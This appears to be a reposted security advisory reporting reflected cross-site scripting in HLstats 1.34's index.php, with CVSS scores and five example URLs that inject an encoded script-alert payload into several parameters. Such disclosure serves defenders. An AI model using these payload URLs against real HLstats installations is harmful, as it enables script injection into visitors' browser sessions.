XSS in HLstats 1.34

Credit: MC Iglo
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Hello, world ;) Input passed to multiple parameters in index.php isn't properly sanitised before being returned to the user. This can be exploited to execute HTML and script code in a user's browser session in context of an affected site with limitation of ' and ". This may also affect prior versions. Examples: http://[host]/index.php?mode=players&game=%3Cscript%3Ealert(123)%3C/scri pt%3E http://[host]/index.php?mode=weaponinfo&weapon=%3Cscript%3Ealert(123)%3C /script%3E&game=tfc http://[host]/index.php?mode=search&q=whatever&st=%3Cscript%3Ealert(123) %3C/script%3E&game=tfc http://[host]/index.php?mode=actioninfo&action=%3Cscript%3Ealert(123)%3C /script%3E&game=tfc http://[host]/index.php?mode=mapinfo&map=%3Cscript%3Ealert(123)%3C/scrip t%3E&game=tfc (instead of 'tfc' you should use the game, HLstats is configurated for) kind regards MC.Iglo

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com


Back to Top